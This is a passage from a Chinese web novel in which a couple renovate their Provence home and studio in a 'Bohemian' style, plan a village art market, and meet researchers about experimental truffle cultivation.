佐伊想要一个可以在夜晚抬头看星星的阳光房,不过现有的房子结构无法实现这件事。 罗南的提议是在院子里修一个,反正地方够,正好当花房,不过佐伊拒绝了,那要经历漫长的施工过程,她更倾向和罗南慢慢装点他们的小家,除了后院的游泳池,不想做太大的动作。 她笑着回头对罗南伸出手: “遗憾也是一种美,不用一切都做完,快走,我们去分配一下任务。” 工作室。 原先空空荡荡的木工坊墙壁上已挂满工具,罗南和佐伊梦寐以求的大型设备也出现了,角落里堆满了各种长度和大小的木材。 木工坊是工作室里‘装备’最齐全的地方,是无论谁进来都得喊一句‘哇塞’的程度。 不过其他区域就没有这么齐全了,由于时间关系,佐伊的工作室里只有她原先的设备和工具。 工作室二层更是当作了仓库用,存了一些佐伊买回来的家电,其他地方依然空空荡荡。 佐伊像领导一样,拿着笔记本对罗南说: “虽然我们决定先把家里装修好,再给工作室二楼配家具,但那些能一起准备的东西可以先定了,例如沙发工作室二楼的沙发和家里客厅的沙发确认要布艺的了?” 佐伊和罗南的态度高度一致,工作室二楼的东西可以慢慢添置,结婚更加重要。 罗南点头道: “对,沙发等我们做完客厅的墙面和顶面装饰后再去买,那个好买,都是现成的。” 以前家具多使用石材是因为便宜。 但现在罗南和佐伊都不缺钱了,更倾向于好看的布艺沙发。 佐伊在记事本里把这一条划掉,继续说道: “墙面和顶面装饰我们一起用木材和石膏做客厅、卧室和卫生间需要的灯具,你的编织和我的玻璃都可以完成,我们两个各自发挥,主卧需要一组大壁橱,这个我们一起做,一楼的客厅也可以再放两扇柜子,储物越多越好——” 有了机械工具,这些家具做起来也简单了。 罗南突然打断了她: “我打算试着用木材和编织结合做一个柜子,看看效果可以吗?” 编织家具目前只涉及了椅子这一个种类,不过罗南想借机试一试和其他款式的结合。 佐伊欣然接受下来: “当然可以,编织家具那么好看,你再做几把编织的休闲椅子吧。” “没问题!”罗南痛快的答应下来。 统计完所有和木材相关工作量,佐伊有点拿不准的说: “二楼卫生间的瓷砖你一个人就可以铺吗?” 家具佐伊能做,但这个她是真不会. “当然。”罗南自信的说,“之前几个卫生间的瓷砖都是我铺的。” 佐伊咬着笔说: “可以,那明天你找人帮忙把那个卫生间的瓷砖拆了,我去阿普特买新的瓷砖,连同工作室二楼卫生间的瓷砖一起买出来。” 说着,她拿起测量工具就要上楼: “我去量量楼上卫生间的尺寸。” 罗南之前和佐伊说过装修的过程,先拆除原先不要的东西,之后做木工,这里的木工指吊顶或者墙面造型等,下一步是泥瓦工,然后是墙面处理,最后是各种各样的安装。 虽然听起来复杂,但屋子里需要做的东西其实一点都不多。 罗南突然把佐伊拦住: “工作室的卫生间就不铺瓷砖了吧,咱们这个工作室走的是‘原始风’,墙面和地面几乎都没做处理,卫生间也统一风格吧。” 佐伊后怕似的说: “啊?那么‘原始’吗” 她脑袋里出现了一些恐怖的景象。 罗南哭笑不得的说: “原始风是一种装修风格!不是你想的那样,我一天就能把那个卫生间装出来。” “真的假的?”佐伊有些不相信。 罗南笑着说: “真的,明天等你从阿普特回来,工作室的卫生间就装好了。” 佐伊看了罗南几秒,又走了回来: “明天我不去阿普特了,留在这里做一些木工活儿,我看看你怎么装修卫生间的。” 第399章 波西米亚狂想曲 装修房子的决定做的很突然,按照之前的计划,还要再等一段时间才能开始。 这就导致罗南家除了木材和之前建工作室剩下的石材外什么都没有。 罗南说他要先把工作室二楼的卫生间装出来,这样在木工坊干活时就方便了,要不然还要去家里。 佐伊以为他至少要出去买点东西才能开始装修,没想到第二天一早,他哪儿都没去,直接叫来了几个农夫搬家具,拆瓷砖了。 “特奥,你找几个人把客厅里的东西都搬去工作室二楼,装修完再搬回来。” “没问题,我这就去叫人。” “亨利,你负责二楼我的卧室区域,带几个兄弟把卧室里的家具也搬去那里。” “好的罗南先生,我一定完成!” 这几个重新装修的区域要全部清空,罗南先去客房住一阵子。 安排完搬家具的工作,罗南带着康奈尔去了主卧卫生间。 “真的要拆吗?”拎着锤子的康奈尔不忍心的问。 这些东西都是去年新买的! “拆拆拆。”罗南大手一挥,“不过拆的时候别把五金件和石材手盆弄坏,一会我要装到工作室那里去。” 佐伊站在卫生间门口,双手抱胸: “就只留五金件和石材吗?其他的不用了?” 这还是没有什么东西啊 罗南笑着把佐伊带出这个即将尘土飞扬的区域: “还需要一个小柜子,不知道你有没有时间帮我做一个?” 佐伊兴奋的跑下楼: “终于可以开那些机器了!” 罗南去工作室的卫生间量了尺寸,让佐伊按照他给的数据做一个小小的洗手柜,在多次叮嘱她用机械时一定要注意安全后,他离开了工作室不知道去了哪里。 大约20分钟后,罗南推着满满一个小推车建工作室剩下的石材出现。 “要用这些剩下的石材装修卫生间?”佐伊关掉机械开关,又拔掉了电源。 罗南把石材推到楼梯口: “我们今天是‘环保主题’,用的所有东西都是废物利用,不用的石材、之前的五金件、还有剩下的一桶防水漆,差不多就是这些了。” 昨晚佐伊去恶补过知识,她在装饰杂志里没有找到‘原始风’的相关资料: “原始风是你自己发明的装修风格吗?主要元素是石材?” 罗南停下喘了一口气: “不是,那我换个形容词来描述这种风格吧。” “什么?”佐伊好奇的问。 罗南擦了擦额头上的汗: “波西米亚风格。” 佐伊的表情更疑惑了: “过这种装修风格我也没听说。” 罗南笑着耸肩。 你当然没听说过了亲爱的. 波西米亚装饰风格是2000年后才正式被人提出来的。 “你说罗南要把楼上的卫生间装修成波西米亚风格?”薇薇安的两根眉毛同时竖了起来,嘴巴也不由得张大。 自从工作室竣工,佐伊的几个姐妹也变得更加幸福了。 佐伊有钱,买东西从不看价格。 作为佐伊的姐妹,她们跟着佐伊一起买东西、出谋划策,那感觉就像是操作着游戏里的人物玩‘经营游戏’似的——别提多开心了。 为了更加开心,只要佐伊来工作室的日子,她们也会结伴过来看看。 正常情况下,几个女孩聚在这里,聊的应该是‘还应该买点什么’的话题,不过今天的话题换了。 法国的艺术家们对‘波西米亚’这个词汇并不陌生,罗南的餐厅里经常有艺术家专门针对这个话题展开讨论。 因为‘波西米亚风格’就是法国人提出来的。 19世纪中叶,波西米亚人极大的影响了欧洲的艺术发展。 这些来自中欧的波西米亚人在艺术领域,如文学、绘画、音乐等有着突出的表现,因其生活方式自由奔放、不拘小节,被巴黎艺术界评价为‘流浪美学’。 那个时代,波西米亚风格代表着个性、自然和对传统束缚的反叛。 1848年欧洲革命期间,落魄艺术家聚集在巴黎蒙马特高地,以‘破旧天鹅绒、流苏披肩’对抗资产阶级审美,形成了一批‘波西米亚族’。 之后许多畅销文学作品中都对波西米亚人进行过描述。 例如亨利·穆杰的《波西米亚人的生活场景》将这个人群塑造成‘贫穷但自由’的象征;《了不起的盖茨比》中描写黛西流苏裙和珍珠项链的混搭,标志波西米亚成为爵士时代的反叛宣言。 在1987年的法国艺术界,波西米亚是反战、女性解放运动、艺术气息、追求自由和不羁等文化符号的象征。 女孩们听到罗南要把卫生间设计成‘波西米亚’风格非常吃惊。 装修还能和艺术扯上关系? 歌迪亚对波西米亚的印象比其他几个女孩更加深刻,因为这种风格近期发展到了她所熟悉的音乐界。 她兴奋的问佐伊: “罗南是不是皇后乐队的歌迷?现在美国的嬉皮士圈正在流行‘波西米亚’风呢。” 佐伊摇头: “罗南最近没有听过什么歌,应该和那没关系。” 罗南每天和她待在一起,如果罗南接触过什么,佐伊肯定会知道,这是她这段时间第一次听到‘波西米亚’这个词汇。 身为一个优秀的艺术经纪人,歌迪亚的嗅觉比其他人敏锐,佐伊家这个小小的装修插曲,给她提供了一个灵感: “其实艺术、音乐和时尚是相连的有些游客不懂艺术,但听过歌,也有可能会对时尚有所了解,比如像我这样知道《波西米亚狂想曲》的人,听到有一种名叫波西米亚的装饰风格会非常感兴趣,会好奇那和我所知道的东西是不是有关联.我在想,卢尔马兰的艺术家们是不是也可以利用这个心理做点什么。” 宝莱特傻乎乎的问: “你的意思是,让艺术家们也围绕‘波西米亚’做点什么?” 佐伊摘掉防护设备,对宝莱特说: “我猜歌迪亚的意思不只是指‘波西米亚’,而是任何流行因素。” 她看向歌迪亚: “就像我们之前聊过许多次的话题,卢尔马兰的艺术家们,要着手为今年的旅行季做准备了。” 卢尔马兰有30多名艺术家,还有不少新开起来的画廊、艺术品商店和手工小作坊,大家的目标都是在旅行季到来后多赚一点钱。 作为这30多位艺术家的经纪人,歌迪亚已经为这件事操心有一段日子了。 卢尔马兰的艺术家们的确在1月的戈尔德取得了一些成绩和掌声,但那只集中在罗南、佐伊和巴蒂三个人的身上。 其他人怎么办? 即使是罗南、佐伊和巴蒂,也不敢保证游客能买他们的东西,因为不是每个人都懂艺术啊。 想要让来自全世界的游客在卢尔马兰产生花费需花一番心思。 现在已经来到3月下旬,4月初游客就会陆陆续续的抵达普罗旺斯,而到了4月末的复活节则预示着今年的旅行季正式开始了。 在这一个月中,卢尔马兰的艺术家们必须努力做好准备。 歌迪亚看向佐伊: “没错,我有这方面的考虑,你有什么好的想法?” 歌迪亚只有一个朦朦胧胧的想法,没有具体的思路。 佐伊笑着摇了摇头: “没有,不过我们可以上去问问罗南,他的主意多,而且我的柜子也做好了,去看看波西米亚风格的卫生间是什么样子吧。” 佐伊几个人上楼时,罗南正在卫生间里用石材砌浴缸。 正如罗南所说,卫生间延续了工作室的整体风格,以贴近自然为主,不仅没有处理墙壁,还用粗旷的石材做了更多的造型。 波西米亚装饰风格是什么样子,几位女孩说不出来、也点评不了,因为不了解但这个浴缸的出现着实在她们的意料之外。 “工作室需要浴缸吗?”薇薇安问罗南,“我的意思是,必须在这里洗澡吗?” 真当这里是家了? “当然需要。”回答她的是佐伊。 佐伊理所当然的说: “楼下的工作会产生许多粉尘,脏兮兮的怎么和罗南在一起工作。” 薇薇安:? 果然,女人一谈恋爱就变了! 一身粉尘无法和罗南一起工作,却能和我们几个姐妹把酒言欢?? “你太偏心了!”宝莉特抗议道。 “怎么会?”佐伊笑着抱住宝莉特的一只胳膊,“你们是我最好的朋友,即使是偏心也是偏心你们!” “亲爱的,你现在方便吗?我需要帮助。”罗南在卫生间外喊。 佐伊立即扔下宝莉特的胳膊,小跑过去: “来了来了!” 宝莉特&薇薇安&歌迪亚: “.” 卫生间做了干湿分离的设计,洗手台在外面。 罗南把原先主卧里的石材洗手盆等东西挪到了这里,又拿来两盏编织灯,再加上佐伊新做好的柜子,这个区域就算装完了。 “下午把马桶装上这里就全部弄完了。”罗南笑着对佐伊说,“是不是很快?” 佐伊站在罗南身后几米的位置,认真打量这个区域: “你别说,这个波西米亚风和你的编织灯还挺搭配的。” 罗南耸肩: “波西米亚的核心是复古手做感。” 藤编家具和波西米亚风当然搭了,这是核心元素。 未来藤编家具的价格更是随着2000年后波西米亚风格的全球流行而水涨船高。 聊到这里,歌迪亚把在楼下和佐伊等人聊出来的想法说了出来,询问罗南有没有什么好的思路: “事情就是这样的,现在真成‘波西米亚狂想曲’了。” 这是从波西米亚引发出来的思考! 罗南认为歌迪亚的想法有一定道理: “在保留普罗旺斯特色的基础上,做一些热点元素的融合确实是一个尝试方向,但分散到每一个地方会不会太乱了?那会冲散大家原本的特色.要不要去找政府申请一所空置的房子,把它搭建成特色艺术市集,做为卢尔马兰的一个景点存在?这里单独展示根据特殊‘潮流’元素所设计的作品。” 歌迪亚认真想了一下: “可以是可以,但艺术家们不像你和佐伊一样有那么强的制作和动手能力,这个市集恐怕靠我们自己很难搭建完成。” 歌迪亚理解罗南所说的特色艺术市集是什么样的,她在别的村子里见过,但那需要布置和装修。 钱大家凑一凑不是问题,工人去哪儿找? 现在又到普罗旺斯装修的旺季了! 罗南笑着指了指外面: “人不是现成的吗?” 歌迪亚回头看了一眼卫生间外面正在搬家具、打打闹闹的农夫们,面露苦色: “我们和这些农夫不太熟啊。” 罗南笑着咂了下嘴。 就是因为不熟才得赶紧熟悉起来啊! 第400章 等等......你是哪位? 卢尔马兰村里只有艺术家和罗南这样开店的商人在期盼着旅行季的到来,并为此做起了准备。 其他村民恨不得旅行季能直接跳过去。 但今年的旅行季必定会和更多的村民扯上关系,艺术店铺生意好起来后一定会招工。 为了让艺术家群体和农夫群体快速熟悉起来,为将来双方融合做准备,罗南故意说出了这个提议。 而且事实情况也确实是这样 在罗南来卢尔马兰之前,大家都是自己装修房子的,谁会请工人啊。 “那行吧。”听到罗南的解释,歌迪亚很快做好了决定,“我先去政府问问有没有合适的场地,如果有,我马上组织大家凑钱,之后你帮我找人。” 罗南和农夫的关系好,歌迪亚打算通过他找帮手。 “正好今天人都在,我先去打个招呼。”罗南用下巴指了一下外面,“四月份农夫们就忙起来了,让他们知道这件事,提前把时间留出来。” 歌迪亚拦下罗南: “别去,我还没问呢,万一没申请到场地怎么办?别耽误他们的正事。” 农夫和艺术家没有任何交集。 只有巴蒂跟特奥、康奈尔几个农夫相对熟悉,那是因为性格的原因。 歌迪亚稍好一些,脸熟的几个碰到还能打个招呼,薇薇安和宝莉特这两个女艺术家搬到卢尔马兰后只和农夫们主动说过一次话。 那次交谈是在罗南和佐伊订婚时发生的——农夫们把她们绑了。 罗南大大咧咧的说: “没事,没申请下来说一声就行了。” 说着,他离开了卫生间,向着特奥和亨利走去。 特奥和亨利依然是水火不容的状态。 罗南今天本来只想找他们其中的一人来帮忙,不过另一个人一定会不高兴。 他都能想到,特奥戳着他的胸脯说“你不拿我当兄弟”和亨利委屈的问“罗南先生我是不是做错了什么”的样子。 被逼无奈只能把两个人都叫来,但罗南的心和耳朵始终在他们两个人身上,只要情况不对他会马上出面制止。 这不,只是和佐伊几个人说话的功夫,一个不留神,这俩人又吵起来了。 “东西都搬完了,你怎么还不走?留下等着罗南请你吃饭吗?” “我看想留下和罗南先生吃饭的人是你!你昨天找巴蒂要更多的单子被拒绝了,现在把主意打到了罗南先生身上?我告诉你,罗南先生才不会管这些事情!” “老子留下是想看看还有没有其他事情能帮忙,和编织订单没有关系,肯定是你找罗南要过订单吧?所以能想到那里去!” “狗娘养的特奥!我和约瑟芬的订单全都是凭本事接的,我没和罗南先生说过一个单词!” “你骂谁呢?” “我骂的就是你!” 两个人口水喷了对方一脸,看到罗南出现,又很默契的快速拉开了距离。 “怎么又吵起来了啊。”罗南皱着眉头问。 特奥吹了吹拳头: “没吵啊,我打苍蝇呢,嗡嗡嗡嗡嗡的烦死了。” 亨利狠狠的跺了一下脚: “该死的臭虫,居然跑到罗南先生的新工作室里,我踩死你!” 罗南摇了摇头,没再说什么,只要没打起来就好。 他看着特奥说: “歌迪亚那里的艺术家们有可能需要把一个场地布置成艺术市集,我和佐伊之后几个月要装修房子,帮不上什么忙,如果这件事情定了,你找人去帮帮他们。” 亨利在村里的口碑不好,让他组织农夫干活很难,这事儿交给特奥更合适。 这个喜欢动嘴的家伙,一定可以监督所有活漂漂亮亮的干完。 特奥歪着脑袋吊儿郎当的说: “小事,玩着就干了。” 他对远处的歌迪亚喊了一声: “定下来时间随时去找我,我马上带人去帮你。” 歌迪亚小跑过来,感激的说: “那太感谢了,我需要找好地方才能定下预算.报酬现在可能还没办法告诉你。” “报酬?”亨利龇牙咧嘴的对特奥说,“这是罗南先生的朋友们,而且罗南先生也是艺术家,你这个家伙连这个钱都赚?” “去你的亨利!”特奥瞪大眼睛,指着他鼻子说,“老子就是穷死也不会赚朋友的钱,跟你不一样!你去年收了罗南好几千法郎就给他刷了几扇窗户和门?为了钱你什么都做得出!” 亨利脖子都红了,急的把船长帽拿了下来: “我早就还给罗南先生了!但、但、但罗南先生不要!!” “行了吧你。”特奥拍着罗南的肩膀对歌迪亚说,“我们朋友之间从来不提钱的事儿,而且那是小活,顺手就干了。” “那不行。”歌迪亚‘受宠若惊’的说,“怎么能让你们白干这么多事?” 特奥拿出一根烟叼到嘴上,贱兮兮的说: “给钱我就不干了,我和某人不一样。” “特奥,你这个肮脏的家伙!”亨利挥起拳头。 “你他妈才肮脏呢!”特奥瞪大了眼睛,“你连驴都吃!你的心和身体一样肮脏!” “我先把你吃了!!”亨利冲了过去。 罗南一手抵着特奥的下巴,一手抓着亨利的拳头,狼狈的对歌迪亚说: “要不今天先聊到这里?” 罗南在外面劝架,歌迪亚回去和几个女孩汇合。 薇薇安惊恐的问: “他们怎么打起来了?太吓人了!” 工作室面积大,那边聊的是什么她们没听清,但挥舞起来的拳头大家看到了。 上帝,这些农夫太粗暴了! 宝莉特回忆起自己被‘绑架’的经历,后怕似的说: “实在不行咱们找专业的工人吧,就是给佐伊盖房子那些.我总觉得这些农夫不太靠谱。” 歌迪亚回头看了几眼扭打到一起的几个农夫,摸着爆炸头说: “我怎么觉得这些人挺可靠的呢。” 这两个农夫的性格和他们的外表完全不相符. 歌迪亚以为特奥和他的臭屁举止一样,做事只浮于表面,没想到人很实在。 亨利更是很好的展示了‘以貌取人’的反例,歌迪亚甚至觉得那个面目可憎的家伙有点‘善良’? 她决定之后再接触的时候,要好好留意一下他们了。 佐伊默默观察这几位好姐妹的反应,笑而不语。 她曾和罗南说过,让村民和艺术家们和谐共处这件事她来做更加合适。 因为她既是本村村民,又是艺术家的一员。 现在罗南已经找到了一个很好的突破口,后面的事情就看她的了。 接下来的几天,罗南安心和佐伊在工作室做家具、装修房子。 有了更高效的机械工具,罗南和佐伊也是做家具的老手了,还有极高的默契.速度比预想中快很多。 只是三天的功夫,室内顶面和墙面的所有装饰全部做好,下一步的工作是那几组橱柜和床。 这样的生活一直持续到罗南和卢卡斯去卡庞特拉的日子。 罗南只去过一次卡庞特拉,参加冬季的特色松露集市。 那一次卡庞特拉之行可谓是满载而归。 不仅卖出去了一颗特级松露,还了解到了松露经纪人这个重要的职业,也对普罗旺斯松露市场的规模有了具象的认知。 同时加深了要坚定不移做松露生意的决心。 这一次去卡庞特拉,罗南相信收获一定不会比上一次差! 而开车的卢卡斯则没有罗南这么有底气。 经历过一次差点陷入深渊的失败,再次接触所谓的‘学术机构’,他不知道该以什么态度面对。 和去年一样盲目的听信? 还是时刻保持‘惊觉’的状态,识别出他们有可能的陷阱? 去卡庞特拉的车程很长,路上只有罗南偶尔说两句话,卢卡斯多是沉默寡言的默默开车。 罗南敏锐的察觉到卢卡斯的忐忑,安慰他: “就当是去见几个朋友,随便聊聊,真正的关键在随后的实验阶段而不是今天,放轻松点啊伙计。” 卢卡斯拍了一下方向盘: “我只是在思考,如果待会有意见不同的情况发生,我该不该说、该以什么态度说.你没和那些学术机构打过交道,他们总是以‘我们可以听从你的意见但如果出了问题后果你自己承担’的态度聊事情,这其实就是在堵你的嘴。” 罗南把视线从窗外移开,移动到前方的路上: “有问题当然要提,虽然他们提供了帮助,但花钱的人是我们,我们花了那么多钱,还不能说两句话了?” 卢卡斯把车窗摇下来,面色阴沉的点了一根烟: “你去看看就知道了,去年我和不止一个学术机构打过交道,那些人的态度都是如此。” 罗南不以为然的撇嘴: “放心,这次还有一个帮手,他们不在意咱们,连农业部都不在意吗?” 罗南断定,有‘好姐姐’朱莉特在,那些机构一定不敢造次! 朱莉特从阿维尼翁出发,跟罗南约定在新成立的普罗旺斯松露研究中心门口集合。 罗南已经提前给卢卡斯介绍过朱莉特的身份,也讲了她的性格——朱莉特为人严肃、不喜言笑,更不喜欢在旁人面前表现的和罗南太过熟悉。 如果待会见面,她和罗南装‘陌生人’,让卢卡斯千万别在意。 卢卡斯把这些信息一一记在心里,女人嘛,性格和举止怪一点很正常。 他从来看不懂女人心里到底想的是什么。 没成想,他车还没停稳当,隔着十米就看到了罗南嘴中那位为人严肃、不喜言笑的农业部官员脸上的笑容。 车停下的瞬间,朱莉特急切的帮罗南打开车门,笑容灿烂的说: “你终于到了啊,我等你好久了!” 罗南吓得不敢下车。 什么情况? 这还是朱莉特吗? 第401章 预算涨的比罗南的心跳还快 朱莉特的反常不仅表现在对罗南热情,在罗南介绍卢卡斯给她认识后,她对卢卡斯的态度也相当不错。 “能和罗南一起做生意的朋友,一定有过人之处。”朱莉特礼貌的夸赞。 卢卡斯用探究的眼神看向罗南,似乎在问: 这是你说的那个人吗? 罗南回给他一个‘我也不清楚发生什么了’的无辜表情,转头跟着朱莉特进入面前的破旧办公楼: “到很久了?” 现在并不是弄清答案的好时机,办正事要紧。 朱莉特笑着点头: “到了有一阵子,我已经先进去打过招呼,快进来吧,费尔南教授很忙的。” 普罗旺斯松露研究中心是由法国国家农业研究院与普罗旺斯松露协会合作共同组织的新学术机构,旨在解决普罗旺斯因寒潮引起的野生松露减产难题,刚刚成立不到2个月,但总人数已超过50,其中90%以上是科研人员。 这次负责接待罗南的,是这所研究院里和松露打交道最久的一位。 “费尔南教授是曾是蒙彼利埃大学下属高等农学院的教授,现在他是普罗旺斯松露研究中心的首席研究员。” 朱莉特一改在外面的样子,进入会议室后又变得严肃起来,在给双方做介绍时没有任何多余的动作和表情,完全公平对待。 罗南和卢卡斯看费尔南教授的眼神中同时出现了崇拜。 蒙彼利埃位于奥克西塔尼大区,并不在普罗旺斯的范围,不过这个大学的名字全法国人都知道。 蒙彼利埃大学的农业学科实力排法国第一,全球第12,其下属的高等农学院成立于1848年,拥有法国最大的农业实验站,全法的高端农业人才绝大部分来自这里。 “您好,费尔南教授,之后麻烦您了。”罗南又一次和费尔南教授打招呼。 费尔南教授拥有着比卢尔马兰村农夫更加黝黑的古铜色皮肤,却没有普罗旺斯人习惯的热情。 他很平静的点了下头,似乎不想做无关紧要的客套: “你好,在正式开始之前,我想问一下,你们了解松露吗?” 罗南笑着说: “我和我的合伙人都是松露猎人。” 费尔南教授没有情绪起伏的说: “我接触过许多卡庞特拉的松露猎人,在我看来这个职业只是以松露为营生的一批人,完全谈不上了解。” 卢卡斯似笑非笑的看了一眼罗南。 你看我就说这些人喜欢高高在上吧。 罗南依然很有礼貌: “和您比起来我们肯定算不上了解松露,还请您给我们讲讲。” 面对罗南的主动示好,费尔南教授也没有太大的情绪变化,依然是那副古板样子: “我也不敢说自己了解松露,1978年普罗旺斯第一个人工培育松露试验站成立时我就加入了那个项目,但现在依然没有过成功过。” 卢卡斯忍不住摸向口袋里的香烟。 太棒了! 一见面就是一盆大大的凉水!! 没成功过,我们还见什么面,聊什么天啊? 散了吧?? 费尔南教授身边的另一位工作人员赶紧把话题抢过来: “哈哈,费尔南教授对自己的要求太高了,事实上,从1978年到如今的近10年间,普罗旺斯人工培育松露课题还是有很大进步的,去年我们已经实现了5%的产菌率,这一次我们会引入土壤生物炭改良等技术,将产菌率提升至20%,而且法国国家农业研究院建立了松露菌种基因库,其中有200多种菌株数据,可以有效降低60%的病虫害风险,这些都是成功啊。” 这位科研人员名叫迪迪埃,在这次合作中会担任费尔南教授的副手。 迪迪埃担心罗南几人不懂学术名词,继续解释: “20%的产菌率是指有20%的树根形成有效菌根,可以孕育出松露。” 卢卡斯的表情越来越难看,20%的数字还没有去年巴黎研究院说的高,去年巴黎那群人是用30%-40%这个数字说服他投钱的。 “20%产菌率是理想状态,实际的成功率应该在14%-17%这个范围。”费尔南教授继续给自己拆台。 费尔南教授的性格反而让罗南更加放心了,现在可不是吃‘大饼’的时候,不过他对这些数字没有直白的概念: “换算到每公顷,每年的产量有多少?” 罗南看的是更加务实的费尔南教授,他希望拿到去水后的数据。 “如果实验成功,稳定后25-35公斤/公顷,可以采收7-10年。”费尔南教授直接回复道。 “这个比例已经很高了。”罗南看着卢卡斯说。 去年年底,野生松露最高产的那几个月份,每公顷的产量大概是6、7公斤的样子。 寒潮过后这个数字可能只有一半。 “如果失败,每公顷什么都没有。”费尔南教授的冷水接连不断的往罗南和卢卡斯的脑袋上泼,“今年我们计划实验300公顷林地,你们接受这个高额风险,咱们再继续说下面。” 普罗旺斯松露研究中心的人手有限,以实验为主要目的,无法照顾太多试验田。 罗南的心态也同样如此,这一次和卢卡斯的合作以尝试为主要目的,如果找到了方式方法,未来再继续买林地。 朱莉特一副公事公办的样子,补充道: “我们的计划是今年在沃克吕兹省找到300公顷实验林,但目前进度并不符合预期,只找到了170多公顷的土地,刚刚过一半。” 普罗旺斯的人工培育松露实验做了10年,已经有许多有钱的家伙尝试过,结果无一例外是失败。 所以这一次的试验田项目感兴趣的人很少,正因如此.朱莉特才能直接给罗南答复。 罗南问朱莉特: “我记得沃克吕兹省有32%的面积都是森林,300公顷的林地这么难找吗?” 这个数字是他和布鲁诺闲聊时听到的。 朱莉特面容冷峻的说: “在97000万公顷的林地范围内都找不出300公顷实验林.不是更加印证这个实验充满挑战吗?” 卢卡斯闻言看向罗南。 要不咱们再回去想想? 开车三个小时过来,罗南怎么可能那么轻易的‘打道回府’,他问费尔南教授: “我想了解下,和之前的实验相比,今年的技术创新有哪些?” 以罗南现在的能力,无法完全攻克人工培育松露的所有技术难题,但他想了解下目前法国人工培育松露的技术发展到什么水平了。 万一他脑袋里的某些知识能推动着这个难题往前进步一些呢? 坐在他面前的是普罗旺斯农业科研水平最高的几个人,说不定只是一个小小的‘意见’,结果就不一样了。 费尔南教授没有拒绝罗南的要求,不过讲的很笼统,因为讲的太细对面的几个人也听不明白: “这一次我们的新技术尝试有两个方面,一个是土壤生物炭改良技术,根据实验数据显示,松露对土壤的透气性有非常高的要求,为了提升土壤透气性,我们会通过生物炭提升土壤孔隙率,促进菌丝网络扩展。” 罗南点了点头: “生物炭还可以使土壤持水力提高,水分同样是培育松露的关键这确实是一个好的办法,不过——” 他摸着下巴,一边回忆脑海里的知识一边继续说: “过量生物炭会导致土壤微生物暂时固氮,与宿主树竞争氮源,抑制早期菌根发育。” 正在心里抱怨费尔南教授又要吓走一批有钱人的迪迪埃突然惊喜的看过去。 这个有钱人和其他有钱人不一样! 他很专业啊! 费尔南教授面色古怪的看了罗南几秒,才开口: “这一点我们考虑进去了,临界值是10%体积比,会根据土壤微生物情况适时调整添加量。” 卢卡斯听不懂这些专业的东西,根据之前的经验问: “你们多久进行一次菌丝检测?” “采样频率不会超过2个月。”迪迪埃认真回答,“当然了,如果你们希望提高检测频率,以应对有可能的风险我们也可以接受,就是成本会增加。” 每次检测采样都是一笔不小的花费。 卢卡斯小声对罗南说: “我之前报给你的维护价格是按照每年只有2次采样算的。” 罗南小幅度的点了点头。 为了提升成功率,检测频率确实应该高一些,这钱得花成本多一点就多一点吧,花钱买安心。 迪迪埃了解卢卡斯曾经失败过的背景,好心提醒: “这一次我们的接种方式也不同了,你所计算的成本可能要全部推翻。” “你们不用‘菌根碎片埋施’的方法接种吗?”卢卡斯意外的问。 菌根碎片埋施是最简单粗暴的接种方式,直接向宿主树根部移植培育好的菌丝土。 “那种接种方式菌丝成活率太低了。”回答他的是费尔南教授,“这是我们第二项技术革新。” 费尔南教授看向罗南,这次他解释的很详细: “新的栽种方式是将成熟松露粉碎后与5%海藻糖溶液混合,在宿主树根20厘米深处钻孔注射,每孔50mL,预计可以提升30-40%的菌丝成活率,不过接种成本会高2倍。” 罗南听得倒吸一口凉气。 这才多一会啊成本就多出来好几项。 他还能不能承担这笔预算啊? 正在他‘心惊胆战’之际,不苟言笑的朱莉特突然插了一嘴: “今天我们先不用过多讨论成本问题,大家以对齐实验目标和过程为目的,如果无法确认合作,说预算意义不大。” 说完,她意有所指的看了一眼罗南,一字一句的说: “为了普罗旺斯的生态健康发展,预算总有可以解决的办法。” 罗南不由得挑了一下眉毛。 今天的朱莉特太怪了。 她在暗示我什么吗? 不过既然朱莉特都这样说了罗南打断了还在给卢卡斯介绍‘孢子浆注射’栽种法的费尔南教授,小心翼翼的说: “教授,我有一种栽种方式的思路,不知道能不能实现.您听听?” 既然不考虑预算,那我可就畅所欲言了啊。 第402章 信息闭塞的八十年代 如果对面是一个对松露一知半解,但却因为自己是出资人而对科研人员‘指手画脚’的家伙,费尔南教授一个单词都不会听,放下一句‘如果对我的接种方式不满意,可以去和其他机构合作’后立马走人。 但罗南给他留下的印象还不错,至少他研究过松露,而不是只靠它赚钱。 “你说说。” 罗南斟酌了几秒,组织好语言后才开口: “即使是这种最新的接种方式,菌丝的成功率也不会超过50%吧?再经历后面漫长的生长期,能活下来的比例更低了我在想有没有什么接种方式可以最高限度的提高菌丝成活率,一旦成活率提高,即使后面的技术没有变化,最终成形的松露也会提升。” 迪迪埃撇着嘴说: “道理确实是这样,但实际做起来太难了。” 罗南笑着连连点头: “是是是,确实很难,但有一次我和一个来自北方的同行聊天,他说现在有一种新的松露接种方式,是把已经和菌丝结合好的宿主树种回森林里,这样可以大大的提升菌丝成活率我觉得他说的这种方式很有道理,这样可以有效的减少其中重要的一步阻碍,只是不知道有没有这种方式?还是他骗我?” 农业贯穿了几千年的人类文明,实际上人类对农业的了解程度非常深,各个国家和地区都在进行各种各样的农业实验。 但这个时代阻碍农业进步很大的一个原因是——信息闭塞。 巴黎的实验结果输送到普罗旺斯也许都需要很长的时间。 如果互联网能早点出现,说不定人工培育松露的技术能早20年实验成功。 几个‘高精尖’难点罗南不知道如何解决,但接种成功率最高的方法,绝不是费尔南教授所说的这种。 罗南脑海里的知识绝不会出错。 在1987年,最先进的接种方式‘黑松露组培苗共生体构建法’早就发明出来了,而且在1983就申请过专利。 不知为何普罗旺斯还在使用失败率更高的方法。 事实上欧盟的前身欧洲共同体建立的一个很重要原因,就是为了解决欧洲农业信息和政策不互通的现象。 但这一状况直到1990年代初期MINITEL农业终端普及和欧盟农业信息化计划实施才显著改善。 但第一步接种就损耗了这么多菌丝.之后还能活下来多少? 说不定罗南的【种植】还没到6级,就死的没多少了! 被逼无奈,罗南只能‘无中生有’,提醒这几位科研人员——你们的技术其实可以更加完善。 “松露猎人们的话不用信,没有几句靠谱的。”卢卡斯对此深有体会,巴黎的人工培育松露实验就是他从同行嘴里听到的。 费尔南教授似乎陷入了思考之中,暂时没有反应。 迪迪埃的眉头皱了起来,像是回答罗南,又像是在自言自语: “理论上可行,但没有实验数据,之前我们是在无菌条件下培养菌丝,你的意思是把这个环境放大,将宿主树和菌丝一起培养,但这并不一定能提升成活率,至少现在的科研结果无法印证可以提升——” 费尔南教授突然打断了迪迪埃的自言自语,问到: 